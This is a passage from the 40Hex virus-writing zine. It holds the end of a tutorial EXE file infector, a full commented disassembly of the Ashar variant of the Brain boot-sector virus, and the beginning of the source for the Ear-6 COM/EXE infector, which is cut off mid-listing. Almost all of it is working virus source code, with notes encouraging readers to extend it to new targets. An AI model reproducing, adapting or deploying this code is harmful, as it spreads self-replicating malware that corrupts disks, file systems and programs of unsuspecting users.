  3631.             mov  dx,word ptr [bp+newDTA+18h] ; date
  3632.             int  21h
  3633.   
  3634.             mov  ah,3eh                   ; Close file
  3635.             int  21h
  3636.   
  3637.             mov ch,0
  3638.             mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  3639.             call attributes                 ; attributes
  3640.   
  3641.   mo_infections: jmp find_next
  3642.   
  3643.   open:
  3644.             mov  ah,3dh
  3645.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  3646.             int  21h
  3647.             xchg ax,bx
  3648.             ret
  3649.   
  3650.   attributes:
  3651.             mov  ax,4301h                 ; Set attributes to cx
  3652.             lea  dx,[bp+newDTA+30]        ; filename in DTA
  3653.             int  21h
  3654.             ret
  3655.   
  3656.   exe_mask            db '*.exe',0
  3657.   heap:                                   ; Variables not in code
  3658.   newDTA              db 42 dup (?)       ; Temporary DTA
  3659.   buffer              db 1ah dup (?)      ; read buffer
  3660.   endheap:                                ; End of virus
  3661.   
  3662.   end       startvirus
  3663.   
  3664.   ----cut here---------------------------------------------------------------
  3665.   
  3666.   This is a simple EXE infector.  It has limitations; for example, it does
  3667.   not handle misnamed COM files.  This can be remedied by a simple check:
  3668.   
  3669.     cmp [bp+buffer],'ZM'
  3670.     jnz misnamed_COM
  3671.   continueEXE:
  3672.   
  3673.   Take special notice of the done_infections and infect_exe procedures.  They
  3674.   handle all  the relevant portions of the EXE infection.  The restoration of
  3675.   the EXE  file simply  consists of  resetting the stack and a far jmp to the
  3676.   original entry point.
  3677.   
  3678.   A final  note on  EXE infections: it is often helpful to "pad" EXE files to
  3679.   the nearest  segment.  This accomplishes two things.  First, the initial IP
  3680.   is  always  0,  a  fact  which  can  be  used  to  eliminate  delta  offset
  3681.   calculations.   Code space  can be  saved by  replacing all  those annoying
  3682.   relative memory  addressing statements  ([bp+offset blip])  statements with
  3683.   their absolute  counterparts (blip).   Second, recalculation of header info
  3684.   can be  handled in  paragraphs, simplifying  it tremendously.  The code for
  3685.   this is left as an exercise for the reader.
  3686.   
  3687.   This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
  3688.   yet to figure out how to  write EXE  infectors).  Hopefully, this  text can
  3689.   teach them (and everyone else) how to progress beyond simple COM and spawn-
  3690.   ing EXE infectors.   In the next issue of 40Hex,  I will present the theory
  3691.   and code for the next step of file infector - the coveted SYS file.
  3692. 40Hex Number 8 Volume 2 Issue 4                                       File 008
  3693.  
  3694. ; This is the ashar variant of the classic Pakistani Brain virus. It is large
  3695. ; by today's standards, although it was one of the first.  It is a floppy only
  3696. ; boot sector infector.
  3697.  
  3698. brain           segment byte public
  3699.                 assume  cs:brain, ds:brain
  3700. ; Disassembly done by Dark Angel of PHALCON/SKISM
  3701.         org    0
  3702.  
  3703.                 cli
  3704.                 jmp     entervirus
  3705. idbytes         db       34h, 12h
  3706. firsthead       db      0
  3707. firstsector     dw      2707h
  3708. curhead         db      0
  3709. cursector       dw      1
  3710.                 db      0, 0, 0, 0
  3711.                 db      'Welcome to the  Dungeon         '
  3712. copyright    db    '(c) 1986 Brain'
  3713.                 db      17h
  3714.         db    '& Amjads (pvt) Ltd   VIRUS_SHOE '
  3715.         db    ' RECORD   v9.0   Dedicated to th'
  3716.         db    'e dynamic memories of millions o'
  3717.         db    'f virus who are no longer with u'
  3718.         db    's today - Thanks GOODNESS!!     '
  3719.                 db      '  BEWARE OF THE er..VIRUS  : \th'
  3720.         db    'is program is catching      prog'
  3721.         db    'ram follows after these messeges'
  3722.         db    '..... $'
  3723.         db    '#@%$'
  3724.         db    '@!! '
  3725. entervirus:
  3726.         mov    ax,cs
  3727.                 mov     ds,ax                   ; ds = 0
  3728.                 mov     ss,ax                   ; set stack to after
  3729.                 mov     sp,0F000h               ; virus
  3730.                 sti
  3731.                 mov     al,ds:[7C00h+offset firsthead]
  3732.                 mov     ds:[7C00h+offset curhead],al
  3733.                 mov     cx,ds:[7C00h+offset firstsector]
  3734.                 mov     ds:[7C00h+offset cursector],cx
  3735.                 call    calcnext
  3736.                 mov     cx,5                    ; read five sectors
  3737.                 mov     bx,7C00h+200h           ; after end of virus
  3738.  
  3739. loadnext:
  3740.                 call    readdisk
  3741.                 call    calcnext
  3742.         add    bx,200h
  3743.                 loop    loadnext
  3744.  
  3745.                 mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  3746.                 sub     ax,7                    ; - 7 Kb
  3747.                 mov     word ptr ds:[413h],ax   ; Insert as new value
  3748.         mov    cl,6
  3749.                 shl     ax,cl                   ; Convert to paragraphs
  3750.         mov    es,ax
  3751.                 mov     si,7C00h                ; Copy from virus start
  3752.                 mov     di,0                    ; to start of memory
  3753.                 mov     cx,1004h                ; Copy 1004h bytes
  3754.                 cld
  3755.                 rep     movsb
  3756.         push    es
  3757.         mov    ax,200h
  3758.         push    ax
  3759.                 retf                            ; return to old boot sector
  3760.  
  3761. readdisk:
  3762.         push    cx
  3763.         push    bx
  3764.                 mov     cx,4                    ; Try 4 times
  3765.  
  3766. tryread:
  3767.         push    cx
  3768.                 mov     dh,ds:[7C00h+offset curhead]
  3769.                 mov     dl,0                    ; Read sector from default
  3770.                 mov     cx,ds:[7C00h+offset cursector]
  3771.                 mov     ax,201h                 ; Disk to memory at es:bx
  3772.                 int     13h
  3773.                 jnc     readOK
  3774.                 mov     ah,0                    ; Reset disk
  3775.                 int     13h                     ; (force read track 0)
  3776.         pop    cx
  3777.                 loop    tryread
  3778.  
  3779.                 int     18h                     ; ROM basic on failure
  3780. readOK:
  3781.         pop    cx
  3782.         pop    bx
  3783.         pop    cx
  3784.         retn
  3785.  
  3786. calcnext:
  3787.                 mov     al,byte ptr ds:[7C00h+offset cursector]
  3788.         inc    al
  3789.                 mov     byte ptr ds:[7C00h+offset cursector],al
  3790.         cmp    al,0Ah
  3791.                 jne     donecalc
  3792.                 mov     byte ptr ds:[7C00h+offset cursector],1
  3793.                 mov     al,ds:[7C00h+offset curhead]
  3794.         inc    al
  3795.                 mov     ds:[7C00h+offset curhead],al
  3796.         cmp    al,2
  3797.                 jne     donecalc
  3798.                 mov     byte ptr ds:[7C00h+offset curhead],0
  3799.                 inc     byte ptr ds:[7C00h+offset cursector+1]
  3800. donecalc:
  3801.         retn
  3802.  
  3803. ; the following is a collection of garbage bytes
  3804.                 db       00h, 00h, 00h, 00h, 32h,0E3h
  3805.                 db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  3806.                 db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  3807.                 db      0CDh, 21h,0A2h, 3Ch, 5Fh
  3808. a_data          dw      050Ch
  3809. ; Second part of the virus begins here
  3810.                 jmp     short entersecondpart
  3811.                 db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  3812. readcounter     db      4                       ; keep track of # reads
  3813. curdrive        db      0
  3814. int13flag       db      0
  3815.  
  3816. entersecondpart:
  3817.                 mov     cs:readcounter,1Fh
  3818.                 xor     ax,ax
  3819.                 mov     ds,ax                   ; ds -> interrupt table
  3820.                 mov     ax,ds:[13h*4]
  3821.                 mov     ds:[6Dh*4],ax
  3822.                 mov     ax,ds:[13h*4+2]
  3823.                 mov     ds:[6Dh*4+2],ax
  3824.                 mov     ax,offset int13         ; 276h
  3825.                 mov     ds:[13h*4],ax
  3826.         mov    ax,cs
  3827.                 mov     ds:[13h*4+2],ax
  3828.                 mov     cx,4                    ; 4 tries
  3829.                 xor     ax,ax
  3830.                 mov     es,ax                   ; es -> interrupt table
  3831.  
  3832. tryreadbootsector:
  3833.         push    cx
  3834.                 mov     dh,cs:firsthead
  3835.         mov    dl,0
  3836.                 mov     cx,cs:firstsector
  3837.                 mov     ax,201h                 ; read from default disk
  3838.         mov    bx,7C00h
  3839.                 int     6Dh                     ; int 13h
  3840.                 jnc     readbootOK
  3841.         mov    ah,0
  3842.                 int     6Dh                     ; int 13h
  3843.         pop    cx
  3844.                 loop    tryreadbootsector
  3845.  
  3846.                 int     18h                     ; ROM basic on failure
  3847. readbootOK:                                     ; return control to
  3848.                                                 ; original boot sector
  3849. ;*              jmp     far ptr 0000:7C00h
  3850.         db    0EAh, 00h, 7Ch, 00h, 00h
  3851.                 nop                             ; MASM NOP!!!
  3852. int13:
  3853.                 sti
  3854.                 cmp     ah,2                    ; if not read request,
  3855.                 jne     doint13                 ; do not go further
  3856.                 cmp     dl,2                    ; if after second floppy,
  3857.                 ja      doint13                 ; do not go further
  3858.                 cmp     ch,0                    ; if not reading boot sector,
  3859.                 jne     regularread             ; go handle as usual
  3860.                 cmp     dh,0                    ; if boot sector,
  3861.                 je      readboot                ; do I<-/>/\|> stuff
  3862. regularread:
  3863.                 dec     cs:readcounter          ; Infect after 4 reads
  3864.                 jnz     doint13                 ; If counter still OK, don't
  3865.                                                 ; do anything else
  3866.                 jmp     short readboot          ; Otherwise, try to infect
  3867. doint13:
  3868.                 jmp     exitint13h
  3869. readboot:
  3870. ; FINISH THIS!
  3871.                 mov     cs:int13flag,0          ; clear flag
  3872.                 mov     cs:readcounter,4        ; reset counter
  3873.         push    ax
  3874.         push    bx
  3875.         push    cx
  3876.         push    dx
  3877.                 mov     cs:curdrive,dl
  3878.         mov    cx,4
  3879.  
  3880. tryreadbootblock:
  3881.         push    cx
  3882.                 mov     ah,0                    ; Reset disk
  3883.                 int     6Dh
  3884.                 jc      errorreadingbootblock   ; Try again
  3885.                 mov     dh,0
  3886.         mov    cx,1
  3887.                 mov     bx,offset readbuffer    ; buffer @ 6BEh
  3888.         push    es
  3889.         mov    ax,cs
  3890.         mov    es,ax
  3891.         mov    ax,201h
  3892.                 int     6Dh                     ; Read boot sector
  3893.         pop    es
  3894.                 jnc     continuestuff           ; continue if no error
  3895. errorreadingbootblock:
  3896.                 pop     cx
  3897.                 loop    tryreadbootblock
  3898.  
  3899.                 jmp     short resetdisk         ; too many failures
  3900.                 nop
  3901. continuestuff:
  3902.                 pop     cx                      ; get system id in boot block
  3903.                 mov     ax,word ptr cs:[offset readbuffer+4]
  3904.                 cmp     ax,1234h                ; already infected?
  3905.                 jne     dodisk                  ; if not, infect it
  3906.                 mov     cs:int13flag,1          ; flag prev. infection
  3907.                 jmp     short noreset
  3908. dodisk:
  3909.         push    ds
  3910.         push    es
  3911.         mov    ax,cs
  3912.         mov    ds,ax
  3913.         mov    es,ax
  3914.         push    si
  3915.                 call    writevirus              ; infect the disk
  3916.                 jc      failme                  ; exit on failure
  3917.                 mov     cs:int13flag,2          ; flag success
  3918.                 call    changeroot              ; manipulate volume label
  3919. failme:
  3920.         pop    si
  3921.         pop    es
  3922.         pop    ds
  3923.                 jnc     noreset                 ; don't reset on success
  3924. resetdisk:
  3925.                 mov     ah,0                    ; reset disk
  3926.                 int     6Dh                     ; int 13h
  3927. noreset:
  3928.         pop    dx
  3929.         pop    cx
  3930.         pop    bx
  3931.         pop    ax
  3932.         cmp    cx,1
  3933.                 jne     exitint13h
  3934.         cmp    dh,0
  3935.                 jne     exitint13h
  3936.                 cmp     cs:int13flag,1          ; already infected?
  3937.                 jne     wasntinfected           ; if wasn't, go elsewhere
  3938.                 mov     cx,word ptr cs:[offset readbuffer+7]
  3939.                 mov     dx,word ptr cs:[offset readbuffer+5]
  3940.                 mov     dl,cs:curdrive          ; otherwise, read real
  3941.                 jmp     short exitint13h        ; boot sector
  3942. wasntinfected:
  3943.                 cmp     cs:int13flag,2          ; successful infection?
  3944.                 jne     exitint13h              ; if not, just do call
  3945.                 mov     cx,cs:firstsector
  3946.                 mov     dh,cs:firsthead
  3947. exitint13h:
  3948.                 int     6Dh                     ; int 13h
  3949.                 retf    2
  3950.         db    15 dup (0)
  3951.  
  3952. FATManip:                                       ; returns al as error code
  3953.                 jmp     short delvedeeper
  3954.                 nop
  3955. FATManipreadcounter dw      3
  3956.                 db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  3957. delvedeeper:
  3958.                 call    readFAT                 ; Get FAT ID byte
  3959.                 mov     ax,word ptr ds:[offset readbuffer]
  3960.                 cmp     ax,0FFFDh               ; is it 360K disk?
  3961.                 je      is360Kdisk              ; continue if so
  3962.                 mov     al,3                    ; al=3 == not good disk
  3963.                 stc                             ; flag error
  3964.                 retn                            ; and exit
  3965. is360Kdisk:
  3966.         mov    cx,37h
  3967.                 mov     FATManipreadcounter,0   ; none found yet
  3968. checknextsector:
  3969.                 call    FATentry12bit           ; get entry in FAT
  3970.                 cmp     ax,0                    ; unused?
  3971.                 jne     notunused
  3972.                 inc     FATManipreadcounter     ; one more found unused
  3973.                 cmp     FATManipreadcounter,3   ; If need more,
  3974.                 jne     tryanother              ;  go there
  3975.                 jmp     short markembad         ; found 3 consecutive
  3976.                 nop                             ; empty sectors
  3977. notunused:
  3978.                 mov     FATManipreadcounter,0   ; must start over
  3979. tryanother:
  3980.                 inc     cx                      ; try next sector
  3981.                 cmp     cx,163h                 ; end of disk?
  3982.                 jne     checknextsector         ; if not, continue
  3983.                 mov     al,1                    ; al=1 == none empty
  3984.                 stc                             ; Indicate error
  3985.         retn
  3986. markembad:
  3987.                 mov     dl,3                    ; 3 times
  3988. markanotherbad:
  3989.                 call    markbad12bit
  3990.         dec    cx
  3991.         dec    dl
  3992.                 jnz     markanotherbad
  3993.         inc    cx
  3994.                 call    calc1sttrack
  3995.                 call    writeFAT                ; update FAT
  3996.                 mov     al,0                    ; al=0 == ok
  3997.                 clc                             ; indicate success
  3998.         retn
  3999.  
  4000. markbad12bit:
  4001.                 push    cx
  4002.         push    dx
  4003.                 mov     si,offset readbuffer    ; si -> buffer
  4004.         mov    al,cl
  4005.                 shr     al,1
  4006.                 jc      low_12                  ; low bits
  4007.                 call    clus2offset12bit
  4008.                 mov     ax,[bx+si]              ; get FAT entry
  4009.                 and     ax,0F000h               ; mark it bad
  4010.         or    ax,0FF7h
  4011.                 jmp     short putitback         ; and put it back
  4012.                 nop
  4013. low_12:
  4014.                 call    clus2offset12bit
  4015.                 mov     ax,[bx+si]              ; get FAT entry
  4016.                 and     ax,0Fh                  ; mark it bad
  4017.         or    ax,0FF70h
  4018. putitback:
  4019.                 mov     [bx+si],ax              ; replace FAT entry
  4020.                 mov     word ptr ds:[400h][bx+si],ax ; in two places
  4021.         pop    dx
  4022.         pop    cx
  4023.         retn
  4024.  
  4025. FATentry12bit:
  4026.         push    cx
  4027.                 mov     si,offset readbuffer    ; si->buffer
  4028.         mov    al,cl
  4029.                 shr     al,1
  4030. ; Part 3 of the virus starts here
  4031.                 jc      want_high_12
  4032.                 call    clus2offset12bit
  4033.         mov    ax,[bx+si]
  4034.                 and     ax,0FFFh
  4035.                 jmp     short exitFATentry12bit
  4036.                 nop
  4037. want_high_12:
  4038.                 call    clus2offset12bit        ; xxxxxxxxxxxx0000
  4039.                 mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  4040.                 and     ax,0FFF0h               ; mask wanted bits
  4041.                 mov     cl,4                    ; and move to correct
  4042.                 shr     ax,cl                   ; position
  4043. exitFATentry12bit:
  4044.         pop    cx
  4045.         retn
  4046.  
  4047. clus2offset12bit:
  4048.         push    dx
  4049.                 mov     ax,3
  4050.                 mul     cx
  4051.                 shr     ax,1                    ; ax = cx*1.5
  4052.         mov    bx,ax
  4053.         pop    dx
  4054.         retn
  4055.  
  4056. readFAT:
  4057.                 mov     ah,2                    ; read
  4058.                 call    FAT_IO
  4059.         retn
  4060.  
  4061. writeFAT:
  4062.                 mov     ah,3                    ; write
  4063.                 call    FAT_IO
  4064.         retn
  4065.  
  4066. FAT_IO:
  4067.                 mov     cx,4                    ; try four times
  4068. FAT_IOLoop:
  4069.         push    cx
  4070.         push    ax
  4071.                 mov     ah,0                    ; reset disk
  4072.                 int     6Dh                     ; int 13h
  4073.         pop    ax
  4074.                 jc      tryFAT_IOagain
  4075.                 mov     bx,offset readbuffer
  4076.                 mov     al,4                    ; 4 sectors
  4077.                 mov     dh,0                    ; head 0
  4078.                 mov     dl,curdrive
  4079.                 mov     cx,2                    ; sector 2
  4080.                 push    ax                      ; (FAT)
  4081.                 int     6Dh                     ; int 13h
  4082.         pop    ax
  4083.                 jnc     exitFAT_IO
  4084. tryFAT_IOagain:
  4085.         pop    cx
  4086.                 loop    FAT_IOLoop
  4087.  
  4088.         pop    ax
  4089.         pop    ax
  4090.         mov    al,2
  4091.                 stc                             ; mark error
  4092.         retn
  4093. exitFAT_IO:
  4094.         pop    cx
  4095.         retn
  4096.  
  4097. calc1sttrack:
  4098.         push    cx
  4099.                 sub     cx,2
  4100.                 shl     cx,1                    ; 2 sectors/cluster
  4101.                 add     cx,0Ch                  ; start of data area
  4102.                 mov     ax,cx                   ; ax = sector
  4103.                 mov     cl,12h                  ; 4096
  4104.                 div     cl                      ; ax/4096 = al rem ah
  4105.                 mov     byte ptr firstsector+1,al
  4106.                 mov     firsthead,0
  4107.         inc    ah
  4108.                 cmp     ah,9                    ; past track 9?
  4109.                 jbe     notpasttrack9           ; nope, we are ok
  4110.                 sub     ah,9                    ; otherwise, adjust
  4111.                 mov     firsthead,1
  4112. notpasttrack9:
  4113.                 mov     byte ptr firstsector,ah
  4114.         pop    cx
  4115.         retn
  4116.  
  4117.                 db      0, 0, 0, 0, 0, 0
  4118. r_or_w_root     db      3
  4119. entrycount      dw      35h
  4120.  
  4121. tempsave1       dw      303h
  4122. tempsave2       dw      0EBEh
  4123. tempsave3       dw      1
  4124. tempsave4       dw      100h
  4125.         db    0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  4126.         db     8Dh, 98h, 9Fh, 8Eh,0E0h
  4127.         db    ' (c) ashar $'
  4128. changeroot:
  4129.                 call    readroot                ; read in root directory
  4130.                 jc      donotchangeroot
  4131.         push    di
  4132.                 call    changevolume            ; change volume label
  4133.         pop    di
  4134.                 jc      donotchangeroot
  4135.                 call    writeroot               ; write back new root dir
  4136. donotchangeroot:
  4137.         retn
  4138. ; The following is just garbage bytes
  4139.         db    0BBh, 9Bh, 04h,0B9h, 0Bh
  4140.                 db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  4141.                 db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  4142.                 db      0C6h, 06h
  4143.  
  4144. changevolume:
  4145.                 mov     entrycount,6Ch
  4146.                 mov     si,offset readbuffer+40h; 3nd dir entry
  4147.                 mov     tempsave1,dx
  4148.                 mov     ax,entrycount           ; 6Ch
  4149.                 shr     ax,1
  4150.                 mov     tempsave3,ax            ; 36h
  4151.                 shr     ax,1
  4152.                 mov     tempsave2,ax            ; 1Bh
  4153.                 xchg    ax,cx
  4154.                 and     cl,43h                  ; cx = 3
  4155.                 mov     di,tempsave2
  4156.                 add     di,1E3h                 ; di = 01FE
  4157. findlabel:
  4158.         mov    al,[si]
  4159.         cmp    al,0
  4160.                 je      dolabel                 ; no mo entries
  4161.                 mov     al,[si+0Bh]             ; attribute byte
  4162.                 and     al,8                    ; volume label?
  4163.                 cmp     al,8                    ; yes?
  4164.                 je      dolabel                 ; then change it!
  4165.                 add     si,20h                  ; go to next directory entry
  4166.                 dec     entrycount
  4167.                 jnz     findlabel               ; loop back
  4168.                 stc                             ; Error!
  4169.         retn
  4170.         db    8Bh
  4171. dolabel:
  4172.                 mov     bx,[di]                 ; offset a_data
  4173.                 xor     bx,tempsave3            ; bx = 53Ah
  4174.                 mov     tempsave3,si            ; si->direntry
  4175.                 cli
  4176.         mov    ax,ss
  4177.                 mov     tempsave1,ax
  4178.                 mov     tempsave2,sp
  4179.         mov    ax,cs
  4180.         mov    ss,ax
  4181.                 mov     sp,tempsave3
  4182.                 add     sp,0Ch                  ;->reserved area
  4183.                 mov     cl,51h
  4184.         add    dx,444Ch
  4185.                 mov     di,2555h
  4186.         mov    cx,0C03h
  4187.                 repe    cmpsw
  4188.                 mov     ax,0B46h
  4189.         mov    cx,3
  4190.                 rol     ax,cl                   ; ax = 5A30h
  4191.                 mov     tempsave3,ax
  4192.         mov    cx,5
  4193.         mov    dx,8
  4194.                 sub     tempsave3,5210h         ; 820h
  4195.                 push    tempsave3               ; store attributes/reserved
  4196. ; I haven't commented the remainder of this procedure.
  4197. ; It basically changes the volume label to read "(c) Brain"
  4198.  
  4199. ; Comment mode OFF
  4200.  
  4201. dowhatever:
  4202.                 mov     ah,[bx]                 ; 5a3h
  4203.         inc    bx
  4204.                 mov     dl,ah
  4205.                 shl     dl,1
  4206.                 jc      dowhatever
  4207. searchstuff:
  4208.                 mov     dl,[bx]                 ; dl=C2h
  4209.                 inc     bx                      ; bx=53Eh
  4210.                 mov     al,dl
  4211.                 shl     dl,1
  4212.                 jc      searchstuff
  4213.         add    ax,1D1Dh
  4214.         push    ax
  4215.                 inc     tempsave3
  4216.                 db       73h, 01h               ; jnc $+3
  4217.                 db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  4218.                 xchg    bp,ax
  4219.                 add     al,0A1h
  4220.                 xchg    bx,ax
  4221.                 add     al,8Eh
  4222.                 sar     bl,1
  4223.                 add     dh,[bp+si]
  4224.                 clc
  4225.                 ret
  4226.                 ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  4227.                 ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  4228.  
  4229. ; Comment mode ON
  4230.  
  4231. readroot:
  4232.                 mov     r_or_w_root,2           ; set action code
  4233.                 jmp     short do_rw_root        ; easier to do w/
  4234.                 nop                             ; mov ah, 2
  4235. writeroot:
  4236.                 mov     r_or_w_root,3
  4237.                 jmp     short do_rw_root        ; this is somewhat useless
  4238.                 nop
  4239. do_rw_root:
  4240.                 mov     dh,0                    ; head 0
  4241.                 mov     dl,curdrive
  4242.                 mov     cx,6                    ; sector 6
  4243.                 mov     ah,r_or_w_root
  4244.                 mov     al,4                    ; 4 sectors
  4245.                 mov     bx,offset readbuffer
  4246.                 call    doint13h
  4247.                 jc      exit_rw_root            ; quit on error
  4248.         mov    cx,1
  4249.                 mov     dh,1                    ; head 1
  4250.                 mov     ah,r_or_w_root
  4251.         mov    al,3
  4252.         add    bx,800h
  4253.                 call    doint13h
  4254.  
  4255. exit_rw_root:
  4256.                 retn
  4257.  
  4258. doint13h:
  4259.                 mov     tempsave1,ax
  4260.                 mov     tempsave2,bx
  4261.                 mov     tempsave3,cx
  4262.                 mov     tempsave4,dx
  4263.         mov    cx,4
  4264.  
  4265. doint13hloop:
  4266.         push    cx
  4267.                 mov     ah,0                    ; Reset disk
  4268.                 int     6Dh
  4269.                 jc      errordoingint13h
  4270.                 mov     ax,tempsave1
  4271.                 mov     bx,tempsave2
  4272.                 mov     cx,tempsave3
  4273.                 mov     dx,tempsave4
  4274.                 int     6Dh                     ; int 13h
  4275.                 jnc     int13hsuccess
  4276. errordoingint13h:
  4277.         pop    cx
  4278.                 loop    doint13hloop
  4279.  
  4280.                 stc                             ; indicate error
  4281.         retn
  4282. int13hsuccess:
  4283.         pop    cx
  4284.         retn
  4285.  
  4286.         db    0, 0, 0
  4287. ; Part 4 of the virus starts here
  4288. tempstorecx     dw      3
  4289. readwritecurrentdata    dw      301h
  4290.  
  4291. writevirus:
  4292.                 call    FATManip
  4293.                 jc      exitwritevirus
  4294.                 mov     cursector,1
  4295.                 mov     curhead,0
  4296.                 mov     bx,offset readbuffer
  4297.                 call    readcurrent
  4298.                 mov     bx,offset readbuffer
  4299.                 mov     ax,firstsector
  4300.                 mov     cursector,ax
  4301.                 mov     ah,firsthead
  4302.                 mov     curhead,ah
  4303.                 call    writecurrent
  4304.                 call    calcnextsector
  4305.         mov    cx,5
  4306.         mov    bx,200h
  4307. writeanothersector:
  4308.                 mov     tempstorecx,cx
  4309.                 call    writecurrent
  4310.                 call    calcnextsector
  4311.         add    bx,200h
  4312.                 mov     cx,tempstorecx
  4313.                 loop    writeanothersector
  4314.  
  4315.                 mov     curhead,0
  4316.                 mov     cursector,1
  4317.         mov    bx,0
  4318.                 call    writecurrent
  4319.                 clc                             ; indicate success
  4320. exitwritevirus:
  4321.         retn
  4322.  
  4323.  
  4324. readcurrent:
  4325.                 mov     readwritecurrentdata,201h
  4326.                 jmp     short doreadwrite
  4327.                 nop
  4328. writecurrent:
  4329.                 mov     readwritecurrentdata,301h
  4330.                 jmp     short doreadwrite       ; This is pointless.
  4331.                 nop
  4332. doreadwrite:
  4333.         push    bx
  4334.         mov    cx,4
  4335.  
  4336. tryreadwriteagain:
  4337.         push    cx
  4338.                 mov     dh,curhead
  4339.                 mov     dl,curdrive
  4340.                 mov     cx,cursector
  4341.                 mov     ax,readwritecurrentdata ; read or write?
  4342.                 int     6Dh                     ; int 13h
  4343.                 jnc     readwritesuccessful
  4344.                 mov     ah,0                    ; reset disk
  4345.                 int     6Dh                     ; int 13h
  4346.         pop    cx
  4347.                 loop    tryreadwriteagain
  4348.  
  4349.         pop    bx
  4350.         pop    bx
  4351.                 stc                             ; Indicate error
  4352.         retn
  4353. readwritesuccessful:
  4354.         pop    cx
  4355.         pop    bx
  4356.         retn
  4357.  
  4358.  
  4359. calcnextsector:
  4360.                 inc     byte ptr cursector      ; next sector
  4361.                 cmp     byte ptr cursector,0Ah
  4362.                 jne     donecalculate           ; finished calculations
  4363.                 mov     byte ptr cursector,1    ; clear sector #
  4364.                 inc     curhead                 ; and go to next head
  4365.                 cmp     curhead,2               ; if not too large,
  4366.                 jne     donecalculate           ; we are done
  4367.                 mov     curhead,0               ; otherwise clear head #
  4368.                 inc     byte ptr cursector+1    ; and advance cylinder
  4369. donecalculate:
  4370.         retn
  4371.  
  4372.         db     64h, 74h, 61h
  4373.  
  4374. ; read buffer starts here
  4375. ; insert your favorite boot block below...
  4376. readbuffer:
  4377. brain           ends
  4378.                 end
  4379. 40Hex Number 8 Volume 2 Issue 4                                       File 009
  4380.  
  4381.                   -=PHALCON/SKISM=- Ear-6 Virus
  4382.  
  4383.     The Ear-6 is a parasitic, non-resident, .COM & .EXE infector.  It
  4384. infects 5 files everytime it is run.  It will traverse towards the root
  4385. directory if fewer than 5 files are found.  We have no clue as to what
  4386. the 'AUX error' that Patti talks about.  But then again, Patti isn't
  4387. sure as to who she is, let alone an accurate discription on one of our
  4388. virii.  On activation (1st of any month), it plays ear quiz with
  4389. victim.  Failure to answer the question will result in program
  4390. termination.
  4391.                                         -) Gheap
  4392.  
  4393. -----------------------------------------------------------------------------
  4394. ; [Ear-6]
  4395.  
  4396. ; El virus de oreja y oφdo seis
  4397. ; Fue escrito por Dark Angel de PHALCON/SKISM
  4398. ; Yo (el ßngel oscuro) escribφ este programa hace muchas semanas.
  4399. ; No deba modificar este programa y da a otras personas COMO SI
  4400. ; estarß el suyo.
  4401.  
  4402. ; ┐D≤nde estß mi llama, mama?
  4403.  
  4404. ;                       diccionarito
  4405. ; espa±ol       inglΘs                   magnitud      size
  4406. ; abre          open                     mango         handle
  4407. ; aprueba       pass (a test)            mßscara       mask
  4408. ; atras         back                     mensaje       message
  4409. ; azado         random                   mes           month
  4410. ; busca         find                     mont≤n        heap
  4411. ; cierra        close                    oreja, oφdo   ear
  4412. ; cifra         code, encrypt, decrypt   pila          stack
  4413. ; codo          pointer                  pregunta      question
  4414. ; corto         terse, short             primer        first
  4415. ; empieza       begin                    remendar      patch
  4416. ; escriba       write                    renuncia      reject
  4417. ; espa±ol       inglΘs                   respuesta     answer
  4418. ; fecha         date                     salta         exit
  4419. ; ficha         file                     siguiente     following, next
  4420. ; φndice        table                    suspende      fail (a test)
  4421. ; ┐le gusta?    do you like?             termina       end
  4422. ; longitud      length                   virus         virus (!)
  4423.  
  4424. .model tiny
  4425. .code
  4426. org     100h
  4427.  
  4428. longitud_del_virus = TerminaVir - EmpezarVir
  4429. longitud_del_escribir = offset termina_escribir - offset escribir
  4430.  
  4431. id = 'GH'                                       ; Representa el lφder de
  4432.                                                 ; PHALCON/SKISM, Garbageheap
  4433. Empezar:  db      0e9h, 0, 0                    ; jmp EmpezarVir
  4434.  
  4435. EmpezarVir:
  4436. shwing:
  4437. remendar1:
  4438.         mov     bx, offset EmpezarCifra
  4439. remendar2:
  4440.         mov     cx, ((longitud_del_virus + 1) / 2)
  4441. hacia_atras:    ; atrßs
  4442.         db      2eh
  4443. remendar3:
  4444.         db      81h, 37h, 0, 0                  ; xor word ptr cs:[bx], 0
  4445.         add     bx, 2
  4446.         loop    hacia_atras
  4447. EmpezarCifra:
  4448.  
  4449.         call    siguiente                       ; Es estupido, pero es corto
  4450. siguiente:
  4451.         pop     bp
  4452.         sub     bp, offset siguiente
  4453.  
  4454.         mov     byte ptr [bp+numinf], 0
  4455.  
  4456.         cld                                     ; No es necessario, pero
  4457.                                                 ; ┐por quΘ no?
  4458.         cmp     sp, id
  4459.         jz      SoyEXE
  4460. SoyCOM: mov     di, 100h
  4461.         push    di
  4462.         lea     si, [bp+Primer3]
  4463.         movsb
  4464.         jmp     short SoyNada
  4465. SoyEXE: push    ds
  4466.         push    es
  4467.         push    cs
  4468.         push    cs
  4469.         pop     ds
  4470.         pop     es
  4471.  
  4472.         lea     di, [bp+EXE_Donde_JMP]  ; el CS:IP original de la ficha
  4473.         lea     si, [bp+EXE_Donde_JMP2] ; infectada
  4474.         movsw
  4475.         movsw
  4476.         movsw
  4477.  
  4478.         jmp     short SoyNada
  4479.  
  4480. NombreDelVirus  db  0,'[Ear-6]',0               ; En inglΘs, ípor supuesto!
  4481. NombreDelAutor  db  'Dark Angel',0
  4482.  
  4483. SoyNada:
  4484.         movsw
  4485.  
  4486.         mov     ah, 1ah                         ; Esindicece un DTA nuevo
  4487.         lea     dx, [bp+offset nuevoDTA]        ; porque no quiere destruir
  4488.         int     21h                             ; el DTA original
  4489.  
  4490.         mov     ax, word ptr [bp+remendar1+1]
  4491.         mov     word ptr [bp+tempo], ax
  4492.  
  4493.         mov     ah, 47h                         ; Obtiene el directorio
